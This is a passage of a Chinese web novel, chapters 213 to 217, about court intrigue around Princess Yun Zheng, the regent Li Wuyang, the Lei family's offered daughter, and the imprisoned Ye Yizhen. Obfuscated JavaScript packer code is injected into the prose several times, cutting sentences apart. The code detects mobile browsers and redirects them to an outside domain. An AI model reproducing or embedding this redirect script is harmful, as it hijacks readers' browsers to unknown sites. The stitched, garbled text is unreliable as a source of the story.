他偷偷看了一眼云筝云筝面无表情的样子让他很害怕。 主子您到底想干什么?得罪了财神娘娘大家都得完蛋。 厉无恙吩咐道“接到人就送去宫中就说我得了宝贝不敢擅用特进献给皇上请皇上务必收下。” 众人目瞪口呆他在说什么? 云筝虽然知道他看不上雷家女但听到这话暗暗松了一口气嘴角轻轻上扬。 看来雷家献女把他恶心坏了。 所以他也要恶心回去。 姑侄共侍一夫也不是没有前例。 就是贵妃如鲠在喉要气疯了吧。 谷雨乐坏了“是我马上去。” 他扭头就往外跑经过雷五身边时还故意撞了他一下。 如一盆冷水从头浇下雷五整个人都僵掉了。 “不不不等一下九千岁千万不能将小女送进宫中我是送给您啊。” 能在宫中混出头的都是狠人贵妃娘娘能生下皇子还能得到盛宠岂是简单之辈。 他可不想得罪贵妃娘娘。 厉无恙理所当然的说道“既然送给了本王怎么处置就是本王的事。” 他的眼睛微眯冷冷的威胁道“怎么?想反悔 ?” 雷五爷吓的瑟瑟发抖,哪敢点头。 他脑子里只有一个念头,赶紧去找家主想办法补救。 “九千岁,我身体不适,先行告退。” 说完,他就往外跑,但刚走出两步,侍卫拦住他的去路。 “没有九千岁的允许,谁都不许离开。” 雷五爷心急如焚,抱着肚子大声叫疼。 厉无恙眼神微凉,“来人,叫大夫,给雷五爷好好看看。” 雷五爷的身体僵住了,脸色惨白如纸。 在一边的崔长洐和郑长荣看的胆战心惊。 果然,这位令人闻风丧胆的九千岁,有的是手段。 就在此时,孙守信递上厚厚的名单。 “大人,这是进入第二轮的名单。” 云筝精神一震,忙活了半天,终于要出结果了。 “我看看。” 她翻阅着名单,拿起毛笔,飞快的在名单上勾勾画画。 她早就做过功课,对这些商家的情况了如指掌。 其实,她事先观察了一些信誉好,货物品质好的商家。 这些商家只要能进第二轮,就会被她挑出来。 她神色专注而又认真,崔长洐忍不住看呆了了,他以为自己喜欢温柔又识情知趣的女子,可如今发现,浑身散发自信光芒的女子好美。 忽然,他脑中闪过一丝灵光,视线瞟向九千岁,顿时呆住了。 只见,刚才还冷酷无情的九千岁捧着茶杯,满眼笑意的看着云筝。 他心里暗惊,这眼神……温柔的快溺出水。 厉无恙敏锐的目光猛的扫过来,冷冷的,像是警告。 崔长洐垂眸,面上波澜不惊,内心却掀起了惊涛骇浪。 对此,云筝一无所知,忙着干活。 每一个皇商的名字都是她亲手挑选出来的。 她放下毛笔,揉了揉手腕,“可以了,圈出来的名字就是今日选出的皇商,拿去张榜吧。” “是。” 孙守信匆匆而去,郑长荣忽然说道,“郡主,我以自己的名义,跟内务府做生意,不知可行吗?” 云筝拿起茶杯喝了一口。 “你想做什么生意?” 郑长荣神色严肃,“我家的不传秘方,玲珑瓷。” 玲珑瓷是灵巧,明彻、剔透著称,高超的烧造技艺和精湛的雕刻艺术结合起来,是陶瓷艺术的瑰宝,让贵族们趋之若鹜。注(1) 郑家有很多不传秘方,这玲珑瓷就是其中之一,但,只传郑家嫡长房,也就是家主这一脉。 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114473|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不做生意,就是自家享用,孤芳自赏。 更重要是,这世道重文轻商,世家都不屑入仕,又怎么可能做生意? 云筝挑了挑眉,“玲珑瓷只属于你一个人?郑家不会闹腾?” 成年人的世界,不谈对错,只谈利益。 郑长荣拱了拱手,面色诚恳,“这一桩生意,我诚意邀请郡主和表哥一起入股。” 云筝来了兴致,“怎么合作?” 郑长荣深深的看了她一眼,“四三三,我四,你们三三,具体是我出秘方,负责生产,你们出钱,表兄负责运营和提供各方面的帮助,郡主只需负责销售。” 云家商号遍及全天下,她背后还有内务府。 听到这里,云筝已经明白过来了。 拉他们入股,是分担风险。看来,郑家的水很深啊。 又想到他嫡长的身份,按理说会继承郑家,却出此下策,恐怕继承人的位置早就岌岌可危了。 崔长洐不语,只是一味的看向云筝。 厉无恙见状,微微蹙眉。 云筝略一沉吟,“我觉得可行。” 崔长洐立马跟进,“我也没问题,但,有一点,我可以出资源,也能帮着出主意,但要隐在幕后,不为世人所知。” 崔家的继承人哪会在乎这点小钱,若不是能跟云筝扯上关系,他不会考虑合伙,又不差钱。 若让清河崔家沾染上商贾的铜臭味,族里会有看法的。 若损及世家高高在上的清贵地位,他再得宠也不行。 “行。” 在一边看完全过程的张总管眼睛都红了,他才是内务府的总管,怎么不拉上他?他有权! “九千岁,您看他们啊,刚才差点打成狗,现在居然联手做生意,这成何体统?锦云郡主是内务府的官员,她怎么能跟人合伙做生意?这不合规矩。” 厉无恙奇怪的反问,“难道她成了内务府的官员,云家商号就不开门了?” “皇上都没发话,你就少操这个心。” 张总管好委屈,“您偏心眼!我们认识那么多年了,还比不上一个刚认识的?” 厉无恙眼神一冷,很不耐烦,“不偏她,偏你吗?你哪来的毛病?” 张总管:……这是骂他拎不清吗? 外面传来喧哗声。 “禀九千岁,外面打起来了!” 第213章 皇上,兄弟同槽会被天下人耻笑的 外面,刚才还说肚子疼的雷五爷手指着挂出来的榜,愤怒的大喊大叫,像条疯狗。 “我们雷家怎么可能没在名单内?我做生意这么多年,皇商也是老资格了,怎么没入? “一定是舞弊,我不服。 他一边喊一边上前要撕榜,被明镜司一脚踢开,狗东西,滚! 这可捅了马蜂窝,雷五大声挑唆同样落榜的商户们,激起对方的真火,要求一个公道。 公道?新入选的皇商们自然不乐意了,双方就这么莫名其妙的打了起来。 一时之间,场面混乱至极。 厉无恙被推到外面,冷眼旁观了半响,这才下令道,“统统住手,再不住手,全抓起来打一顿。 这话一出,大家都害怕了,纷纷收手。 只有雷五爷还在发疯,跑到云筝面前,“今日必须给我一个说法,凭什么我没入名单? 还没有靠近,他就被明镜司一巴掌拍在地上。 云筝神色清冷,“啊,雷五爷,抱歉,你家的样品太次,价格又远在别人之上,所以没有入选,等下次吧。 嘴上这么说,但,面上没有一点歉意。 雷五爷气急败坏的大叫,“这不可能,我的价格是最低的,你这是公报私仇。 云筝烦死这种装疯卖傻的人,他心里真的没点数吗?“你怎么知道你是最低的? 雷五爷急急的叫道,“我跟大家都打过招呼。 云筝怜悯的拿出一张报表,“将这份报价单拿去给雷五爷瞧瞧。 这是绸缎类的报表,一一列举了各家的暗标价格。 从高到低排列,雷五爷排在后面的位置。 雷五爷惊呆了,不敢相信自己的眼睛。 他很想说,这是伪造的,但,谁会专门为了他去伪造一张报价单? 他没有那么大的脸面。 云筝微微一笑,“显然,你被你的盟友背刺了,他们的价格都比你低,雷五爷,你要好好检讨一下自己,做人怎么会这么失败。 “你……在巨大的冲击之下,雷五爷眼前一黑,晕了过去。 云筝挺无语的,“此人气量太小,成不了气候。 厉无恙淡淡的道,“雷家阴盛阳 衰,男人不争气,全靠女人撑着,一朝尝到甜头,就想复制之前的成功之路。 “欲望永无止境。 “来人,雷五嚣张跋扈,冒犯内务府官员,拖下去打三十大板。 就在此时,通禀声响起,“宫中来人了。 传旨太监被带了进来,看到这乱哄哄的场面,吓了一跳,这是斗殴了? 他不敢多看,匆匆传旨,“皇上口谕,召睿亲王和锦云郡主进宫。 厉无恙扬了扬眉,看向云筝,云筝微微颌首,“正好,我正想将皇商名单上报。 两人同坐一辆马车,云筝刚想坐下,一只胳膊伸了过来,将她拉进一个怀抱。 “喂。云筝吓了一跳,下意识的看向帘子,还好,落下来了。 厉无恙抱着她不放,“让我抱抱,就一会儿。 “我很想念你,每天都想。 思念若有声,那必是震耳欲聋。 他双手紧箍她的腰间,恨不得揉入自己骨血中,仿佛要将这些日子的思念全发泄出来。 云争心里一软,放松身体,投入他的怀抱。 她,也很想念他呢。 男人的怀抱很温暖,让她很安心,忍不住闭上眼睛靠在他怀里,自然而然的环住他的腰间。 男人的嘴角轻轻上扬,满怀温馨,安抚了他这一路颠沛流离带来的疲惫。 两人静静相拥,仿佛时间就此静止,狭小的马车内流淌着重逢的喜悦和甜蜜。 谁都不忍心打破这美好而又温暖的一刻。 不知过了多久,马车停了,外面传来声音,“九千岁,皇宫到了。 男人还不肯放手,再多抱一会儿。 云筝轻拍他的肩膀,“快放开我啦。 厉无恙一脸的不乐意,“怎么这么快? 等进去时,厉无恙板着一张脸,好像全世界都欠他似的。 “臣弟见过皇上。 云筝也跟在后面行礼,还不忘暗搓搓的观察四周。 哟,贵妃娘娘也在。 站在她身边哭红了双眼的年轻女子,难道就是被进献给皇上的雷家女?长的倒是花容月貌。 皇上大声怒喝道,“混账东西,看你干了什 么好事。” 帝王一怒,四周的人都吓坏了,纷纷跪下来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114474|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 厉无恙脸色更冷了,“我做了什么伤天害理的事,让皇上如此暴怒?连我这残废千里迢迢奔波之苦,都看不见了?” “你……”皇上的脸色大变,“皇弟,你怎么能这么说自己?” “来人,给九千岁上茶,一群没眼力劲的东西。” 热茶送上,厉无恙一个眼神都不给,“我不喝,我也不配,请皇上依律将我治罪,诛我九族吧。” 诛个屁九族,在场的人都算在他的九族内。 皇上懊恼的揉了揉眉心,他确实有点没理。 “皇弟一路辛苦了,累了吧?喝口茶休息休息,朕让御膳房做几道你爱吃的菜,我们兄弟俩一起喝一杯。” 皇上不能道歉,这已经是他放下身段了。 雷心恬不敢置信的看着天家兄弟的互动,不是吧? 明明,刚才皇上很生气,怎么九千岁两句话,就让他怒气全消,还讨好上了? 她更坚定了,要当睿王妃的决心! 她的视线落在厉无恙身后的女子身上,眼神微凝。 风头最劲的锦云郡主云筝啊,最喜欢往九千岁身边凑。 等她成了睿王妃,任何女人都别想靠近九千岁,她第一个就冲云筝下手,杀鸡儆猴。 她扑通一声,跪倒在皇上面前,哭哭啼啼的开口,“皇上,求您为我作主啊,我在家待的好好,却被明镜司的人拖来宫中,我好害怕。” “不光街坊邻居看到我被明镜司拖走,其他各家都知道了,我还怎么嫁人?我们雷家还怎么见人?” 云筝在心里冷笑,好一个春秋笔法。 不提亲爹献女的前因,只提明镜司对她的**,啧啧啧。 皇上有些头疼,“九皇弟,等会把雷家女带回去,你身边正好缺一个知冷知热的女子。” 雷心恬立马抓住机会表忠心,“我一定会好好侍候王爷,让他无后顾之忧。” 厉无恙淡淡的道,“皇上,兄弟同槽会被天下人耻笑的。” 现场一静,众人瑟瑟发抖。 我却,兄弟同槽,他怎么敢说如此犯大忌讳的话? 雷心恬的脸如被狠狠打了一巴掌,浑身剧颤。 贵妃不知想到了什么,脸色瞬间全白了。 九千岁……不会知道那件事了吧? 第214章 她,拿住了云筝的把柄? 皇上的脸黑了,“胡闹,谁说她是朕的嫔妃? 厉无恙神色淡漠如雪,“很多人都看到雷家献女,我借花献佛将雷家女转献给皇上,从她踏进宫中的那刻起,她就是皇上的女人。 “皇上若不喜欢,就打入冷宫吧。 “我不要。雷心恬眼泪汪汪的,委屈的不行,看厉无恙的眼神好像是看着一个负心汉。 云筝心里膈应,啥玩意啊? 皇上的眼神明明灭灭,不知在想些什么,“无恙,别人送给你的,你怎么转手就送给朕?传出去也不好听。 厉无恙的语气凉薄至极,“这有什么?有好东西自然是先送给君王享用,这是臣弟的一片忠心,还请皇上成全。 “再说了,雷家女共侍一夫也算是一段佳话。 狗屁佳话,两位雷家女的脸色都很难看。 雷心恬当场就哭了出来,“不,皇上是我的姑爷爷,是我的长辈,我不要。 没错,她的父亲雷五要叫贵妃娘娘为姑姑,她要叫姑婆的。 厉无恙凉凉的说道,“皇兄,人家姑娘嫌您老了。 这话挑战了帝王的权威和男性尊严,只有皇上不要的,断然不能被别人嫌弃。 皇上眼神微冷。 雷心恬的声音戛然而止,惊慌失措的看向贵妃,救命啊。 贵妃不慌不忙的开口,“皇上,恬儿绝无此意,她只是习惯了把您当长辈,一时转换不过来。 姜还是老的辣,不愧是后宫沉浮多年的女人。 “睿亲王,我自问没有资格管您的事,但,事已至此,还请看在三皇子的面子上,雷家是他的外家,出了丑闻,对他是一种极大的伤害。 她没拿雷家的体面说事,对这些皇室天之骄子来说,雷家不过是他们的奴婢,谁会为了奴婢的体面让步? 她特意拿皇上最看重的亲情说事。 “请看在你们叔侄情份上,把恬儿带回睿亲王府吧,为奴为婢全凭您的心意。 她说的极为诚恳,情以动人。 皇上沉默,显然是认同她的说法。 一个女子而已,喜欢就宠着,不喜欢就扔到一边,不碍什么事,又不占份位。 但,厉无恙最烦别人算计他。 他也不想让云筝有半点误会,她性格刚烈,眼里容不得半颗沙子。 “雷家送女求得荣华富贵,有了一个成功先例,就把主意打到本王头上。” “怎么?想让皇室子弟后院全是雷家女,相互守望,利益绑定,才能满足雷家不可说的野心?” 皇上怔了怔,他没将雷家当一回事,但雷家这做派挺让人不舒服。 不可说的野心?靠雷家女称霸皇室子弟后院,从而影响朝堂大局? 贵妃面露苦涩,还有不被理解的无奈,“睿亲王,您太多心了,是恬儿对您一见钟情,才有了这么一出。” 厉无恙眼神充满了嘲讽,“我不信,反正我不要。” “皇上,要不,您把人赐给三皇子吧,雷家的体面就让雷家外甥来成全,没道理让我一个没有血缘关系的外人来吧?” “还是皇上认为,我只配给雷家收拾烂摊子?” 这话一出,皇上眉头皱了起来。 贵妃眼中闪过一丝冷光,“锦云郡主,同为女子,你一定能理解恬儿此时难堪的心情吧,帮着劝劝睿亲王。” 她眼神意味深长,好像拿住了云筝的把柄似的。 云筝挑了挑眉,她好像吃定了自己?呵呵。 “我又没有卖女求荣的亲爹,怎么理解?” 想把她当软柿子捏,那是挑错对象了。 她轻笑一声,狠狠捅刀子,“说实话,我生平第一次看到有人把亲生女儿当货物送出,只为换取利益,震惊到了呢,雷家女,啧啧。” 论毒舌,云筝若称第二,没人敢称第一。 这气人的程度,直接把雷心恬气哭了。 贵妃眼神阴沉了下来,“你这是不肯帮忙?” 云筝刚想说什么,就听到一道巨响,“啪。” 是厉无恙,他手中的杯子摔在地上,面色不愉。 贵妃脑海闪过一个念头,果然,他们有**,好啊! 她猛的喝道,“睿亲王,您这是在为锦云郡主打抱不平?你对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114475|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦云郡主好的匪夷所思,皇上,我看他们关系不正常,有奸……” 她正说的起劲,忽然惊恐的瞪大眼睛。 厉无恙捂着胸口,一脸的痛苦,额头渗出冷汗。 皇上脸 色剧变,猛的起身,扑向厉无恙,“九皇弟。” 云筝吓白了小脸,飞奔过去,紧张的问道,“九千岁,您怎么了?哪里不舒服?” 雷心恬忽然手指着厉无恙,失声尖叫,“血,全是血。” 厉无恙后面肩膀处渗出鲜红的血迹,渐渐将衣衫染红。 皇上大惊失色,“无恙,你受伤了?” 云筝脑门如被人重重一击,眼前一阵发黑,“太医,快叫太医。“ 皇上深吸一口气,大声下令,“把所有太医都叫来,立刻,马上。” 整个太医院都被惊动了,医正带着太医们飞奔而来,跑的满头大汗。 一群太医围着厉无恙诊治,是左肩膀被射了一箭,纱布拆开来,露出狰狞的伤口。 云筝嘴唇紧抿,不是说没受伤吗?骗子! 皇上看着伤口,脸色变了几变,“无恙,你受伤了为什么不早说?” 厉无恙一脸的厌弃,“有什么好说的,又死不了。” 太医们会诊结束,太医才小心翼翼的禀道,“禀皇上,睿亲王的伤势本来就挺严重,这箭头是特制时,装了倒刺,拔的时候吃了大苦头,流了很多血。” “加上一直在奔波劳累,没有好好休养,这会儿又被气着,伤口崩开了。” 气着了?皇上懊恼不已,自责万分,“怪朕,都怪朕,为了一个外人跟你计较。” 厉无恙有气无力的叹了一口气,“皇兄对我向来疼爱,肯定是受了别人的挑唆。” 皇上心中的怒火蹭的上来了,“没错。” 帝王不可能有错,错的自然是身边的人。 满腔的怒火,总要有个发泄的对象。 他冷冷的目光扫向两位雷家女,两人不约而同的打了个冷战。 不好! 贵妃下意识的抢先一步,“皇上,有个天大的好消息……” 第215章 这是秘密 贵妃喜笑颜开,“皇上,三皇子妃怀孕了,您要当皇祖父了。” 皇上愣了一下,几个成婚的皇子都没有孩子,是他的一桩心病。 如今,他要有第一个孙儿了! 好,很好! 喜事冲淡了他胸中的怒火,为了三皇子的脸面,他不能罚贵妃。 不过,他冷冷的看着始作俑者,“封雷心恬为美人,赐住贵妃宫中。” 皇弟不想要,那就不要呗。 没必要为了一个无足轻重的外人,伤了天家骨肉亲情。 短短一句话,决定了雷心恬的命运。 从此以后,她就要跟姑婆一起服侍君王,还特意放在同一屋檐下。 就是不知道她们以后还能同心同德吗? 雷心恬如五雷轰顶,面无人色。 这是惩罚! 她哭倒在地,声嘶力竭,“皇上,姑爷爷,不要啊。” 皇上连一个眼神都欠给,“君无戏言,拖出去,别碍了睿亲王的眼。” 哭哭啼啼的雷心恬被拖了出去。 皇上满眼的不耐烦,“贵妃,你也出去,好好教教你家晚辈,怎么做个合格的美人。” “是。”贵妃神色平静,恭恭敬敬的行礼,躬身退出去。 耳边传来皇上的声音,“大伴。” “让人去雷家传旨,雷家家主管家不严,纵容家中子弟欺压百姓,罚银千两,若下次再犯,必不轻饶。” “是。” 贵妃闻声色变,她以为皇上看在未来皇孙的面上,会放过他们这一脉。 没想到,皇上的怒火全冲着自家老父亲去了。 她仿佛能感觉到皇上冰冷的目光盯着她,咬碎了银牙,也不敢露出半点异色。 贵妃临出门时,回头看了一眼,皇上和云筝都围在厉无恙的身边,满脸的关切。 她眼中闪过一丝厉色。 医正亲自动手,帮厉无恙重新处理伤口,云筝不方便在一边看,就站在门口等着。 她微微垂首,秋风起,轻轻拂过几缕青丝,泛起一丝漪涟。 一名老嬷嬷匆匆出现在门口,“慈宁宫宫人求见。” 云筝看了过去,慈宁宫 ?太后娘娘的人? 皇上的声音从里面传来“何事?” 关嬷嬷站在门口不敢擅进“听说睿亲王受伤了奴婢特意过来看望睿亲王还好吗?” 厉无恙淡漠的声音在内室响起“死不了不劳关心。” 嬷嬷也不生气早就习惯了。 “太医怎么说?” 这一回云筝抢答了“不大好睿亲王千里奔波伤的还不轻哎太医说需要长时间的静养。” 关嬷嬷这才注意到一边的云筝“您是?” 太监介绍道“这位是锦云郡主。” 关嬷嬷恍然大悟行了一礼“见过郡主。” 云筝轻轻叹了一口气“哎睿亲王什么都好就是太骄傲不愿意让别人看到他受伤虚弱的样子一直硬撑瞒着呢。” 关嬷嬷脸色微白又关心了几句才急急忙忙的离开。 云筝看着她的背影挑了挑眉太后没有传说中的冷漠嘛。 听说睿亲王受伤了各宫娘娘和皇子公主们都亲自过来探望。 但都被挡在外面只好留下礼物默默离开。 室内处理好伤口的厉无恙淡淡瞥了云筝一眼 这是生气了? 皇上看着他苍白的脸有些心疼“皇弟你这次怎么会受重伤?你身边的人怎么没有保护好你?该罚。” 厉无恙面色一肃“皇上我有重要的事情要禀。” 皇上一个眼神四周的宫人都退了出去只留下一个太监总管。 “臣告退……”云筝也站了起来。 厉无恙轻声道“跟你也有关系听听吧。” 云筝又坐了回去好奇的不得了。 厉无恙拱了拱手“皇上我此次出京查清了前镇南王一事他确实是诈死!” 这话一出室内的气氛顿时变了。 皇上的脸色难看到了极点天衣无缝的诈死计划朝廷居然一点都没有察觉。 这其中有多少人被卷了进去? 这些年暗中又布了多少局? 若不是叶宜蓁这条线漏底了他们还一无所知。 “他逃去了哪里?抓住他了吗?” 厉无恙神色淡淡的,“我记得档案记载,那些年镇南王忽染恶疾,久治不愈,暴毙而亡。” “而我刚查明,同一时间,不远的南粤国多了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第216章 啥?又要兼祧两房? 大牢,昏暗阴森,一点烛光照亮了一方天地。 空气中弥漫着难闻的味道,叶宜蓁半躺在铺盖上,神色憔悴,脸色蜡黄。 她眼巴巴的看着门口,肚子饿的咕咕叫,“闻舟哥哥怎么还没来?平时这个时辰早来了啊。 永安公主坐在不远处,气色也不好看,但,头发梳理的整整齐齐,腰杆挺直。 “没出息。 狱卒没有**她们母女,但也没有优待,一视同仁。 吃的是猪食,睡的是稻草堆,没人侍候,对锦衣玉食的公主来说,这是地狱,每一天都度日如年。 离奇的是,叶宜蓁浑身是伤,这疼那疼的,却没有生病。 她怼了一句,“您有出息,那就别吃闻舟哥哥带来的饭菜,他是为了我而来的。 永安公主冷冷的看她一眼,她还骄傲上了?“饭盒上是永安公主府的徽记,饭菜是我府上备的,他只是拿进来而已。 也不知皇上是怎么想的,不许亲戚朋友探视,也不许公主府下人送东西,却允许江闻舟探监。 叶宜蓁沉默了半晌,有气无力的问道,“娘,皇上什么时候放我们出去?我快撑不下去了。 永安眉头紧皱,“快了,等他气消了就会放我们出去。 她虽然在牢中,但已经知道永宁被剃度圈禁的消息,整个人都安分了。 再折腾,恐怕命都要没了。 “来了。“ 江闻舟穿着一件素袍,洗的干干净净,脸上的伤疤用脂粉掩饰,在昏暗的烛光下不是很明显,世家公子的仪态和气质颇为出挑。 叶宜蓁一看到他就心安了,“闻舟哥哥,你怎么才来呀,我好担心你出事。 江闻舟深情款款的看着她,“饿了吧,快吃。 食盒打开,第一格是两道菜,一荤一素,第二格是满满的大米饭,第三格是两道点心。 叶宜蓁惊喜万分,“咦,今日怎么还有点心?都是我爱吃的,谢谢闻舟哥哥。 永安瞥了她一眼,这点心一看就是自家府上出品。 她默默拿起碗筷,给自己盛了一大碗米饭,二话不说开吃。 叶宜蓁见状,也赶紧捧起碗狂吃,生怕被抢光了。 还别说,在外面 挑三拣四在牢里啥都吃又躺着不动脸都圆了呢。 江闻舟默默看着似乎心事重重。 “蓁蓁明日我有事不能来这些点心你留着明日吃。” 叶宜蓁急了这点心又不能当饭吃她再也不想饿肚子了。 “你有什么事?” 江闻舟欲言又止非常为难“这……” 他越是这样叶宜蓁越着急他以后都不来了?“快说啊。” 江闻舟一脸的纠结“母亲给我找了一门亲事逼着我相看母命难违。” 叶宜蓁如五雷轰顶暴怒不已“什么亲事?你已经有妻室了你娶了我!” 对她来说江闻舟像是溺水者的最后一根浮木。 他再不好也是平西侯府的公子日后还能复位继承平西侯府也不是问题。 江闻舟一脸的苦恼“我兼祧两房你是长房我还能再娶一房。” 叶宜蓁呆若木鸡兼祧两房? 风水轮流转但没想到转的这么快 她忽然有点理解云筝当时的心情了。 针只有扎在自己身上才觉得疼。 江闻舟轻声安抚道“蓁蓁我心里只有你我是迫不得已被逼的。” 叶宜蓁眼泪汪汪的“你说过永远不负我!可现在又算什么?你是不是嫌弃我?” 如今的她已经是一个废人手脚都出了问题只有牢牢抓住眼前的男人不放。 江闻舟轻轻叹了一口气“不孝有三无后为大你不能生孩子。” 这致命一击让叶宜蓁脸色惨白如纸身体摇摇欲坠“你说什么?” 江闻舟柔声安慰道“我只是找一个替我们生孩子的女人我们才是夫妻等孩子生下来就养在你膝下大事小事你说了算。” 这话安抚不了她叶宜蓁眼眶泛红伤心欲绝“女方是什么人?” “是雷家女贵妃娘娘的雷家。” 在一边冷眼旁观的永安冷笑一声“雷家女能看上你?” 雷家出了一个贵妃雷家女都不愁嫁。 平西侯府如今只有一个空架子达官贵人避之不及的存在。 江闻舟颇为自得,“是旁支, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114477|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩子暗恋我,对我心心念念多年,若是以前,她都没资格进我平西侯府的大门。” “女方答应陪嫁一座大宅,两个农庄,两个店面。” 叶宜蓁脸色发白,“你这是看上了人家的嫁妆?” 江闻舟面色苦涩,“江南总督府逼我们还债,父亲不得已将侯府和御赐的田产庄子都抵押出去了,到期不还,麻烦就大了。” 叶宜蓁倒抽一口冷气,百年侯府都抵押出去了?疯了吗?这些跟爵位绑定,都不能卖的。 “娘,帮帮江家吧,求求你了。” 永安算是看透了,江闻舟天天过来送饭献殷勤,敢情是想让她补窟窿。 “没钱。” 她是指望不上这个女儿,养老得靠自己。 叶宜蓁可怜兮兮的哀求,“娘,娘,帮帮我们吧,就这一次。” 江闻舟眼神微闪,“蓁蓁,别为难岳母,只要我牺牲一下,将雷家女迎娶进门,平西侯府就能起死回生,大家都能过上好日子。” 叶宜蓁心急如焚,“不要,我不允许。” 一道清咳声响起,“哟,又是兼祧?恭喜两位,又找到了一个冤大头。” 这熟悉的声音入耳,三人都僵住了,小恶魔来了! 叶宜蓁猛的扭头,红衣女子翩然而至,光鲜照人,昏暗的大牢为之一亮。 她心里又酸又涩,瞪大眼睛,“云筝,你说什么风凉话,你是嫉妒我们夫妻恩爱,不离不弃。” 云筝打量了一眼,大声嘲讽,“一个手瘸脚瘸,一个毁容,天残地缺天生一对,没人愿意跟你俩不离不弃呀。” 叶宜蓁被气哭了。 江闻舟看着云筝一身官服威风凛凛,心神微动,挡在叶宜蓁面前,“你来干吗?有我在,你休想动她一根手指头。” 叶宜蓁有些自得,有男人为她痴狂,云筝有什么? 除了有几个臭钱外,一无所有,没一个男人真心爱她! 云筝全然不在乎他们怎么想的,视线落到永安公主身上,猛的喝道,“永安,你男人镇南王诈尸了。” 室内一静,永安猛的抬头,烛光照在她脸上,明明灭灭,阴晴不定。 “你说什么?” 第217章 你的死鬼夫君又活了,开心不? 云筝紧紧盯着她的脸,“你的夫君,已经**多年的夫君又活了。开心不?” 永安顿时勃然大怒,“云筝,你拿一个**说事,不觉得过份吗?” 云筝不动声色的观察,这是真生气?还是装的? “啊,你真的不知道?你那死鬼夫君成了赘婿,每天吃香的喝辣的,小日子可滋润了。” 永安气的面红耳赤,手指着云筝怒骂。 “你要不要听听自己在说什么?我夫君**,**很多年。” “再说了,就算活着,他是手握十万大军的镇南王,怎么可能去当赘婿?编的什么破故事,可笑至极。” 云筝挑了挑眉,这么激动,看来像是真的不知道。 “可,他入赘皇室,嫁给了皇室唯一的公主。” 永安更生气了,编,我看你再编。“你倒是说说,哪国的公主?” 云筝笑眯眯的问道,“南粤的月灵公主,你知道吗?” 永安脑袋一热,如炮仗般炸开了,“月灵那个小**,口口声声说把王爷当救命恩人,是义兄,却日日跟我争宠……” 她的声音戛然而止,呆呆的看着云筝,“你怎么知道月灵公主的?” 云筝笑而不语,原来早就暗渡陈仓。 一道惊雷砸在永安头顶,一个不可思议的想法浮出来。 她嘴唇直哆嗦,“你是说,夫君没死,跑去南粤国当了驸马?” 云筝淡淡的道,“不,是当了皇帝,月灵公主是皇后。” 永安彻底破防了,大声尖叫,“啊啊啊。” 云筝的目光落在出口处。 皇上站在暗处,神色莫名,“看来,她被蒙在鼓里,被镇南王耍的团团转,蠢货。” 朝廷派人监视镇南王,下嫁公主笼络他,但依旧拉不回镇南王的野心。 厉无恙的视线落在那道红色身影上,漫不经心的应付道,“确实挺蠢的,枕边人这么大的动静,她居然一无所知。” 一边的叶宜蓁和江闻舟面面相觑,不敢置信。 “我父亲当了皇帝?那我就是公主了,好,太好了。” 叶宜蓁激动的满面通红,喜上眉梢,做梦都想不到她是公主! 她立马得意洋洋的喝道,“ 云筝,我命令你,马上给我行礼。” 她这是积累了太多的怨气,一朝翻身,立马打击报复。 可惜,这一套对云筝没用,“你爹是皇帝,可,你有公主册封宝印吗?” 叶宜蓁恶狠狠的说道,“我爹要是知道我在大齐吃苦受罪,一定会很生气,为了两国的邦交,我劝你,跟你们的皇帝好好说说,马上把我放出去,把我好好供起来。” 什么叫你们的皇帝?这就把自己当成南粤公主了?云筝瞥了暗处一眼,得瑟成这样,可把我们的皇帝陛下得罪**。 “你说,你爹真知道有你这么一个人吗?” 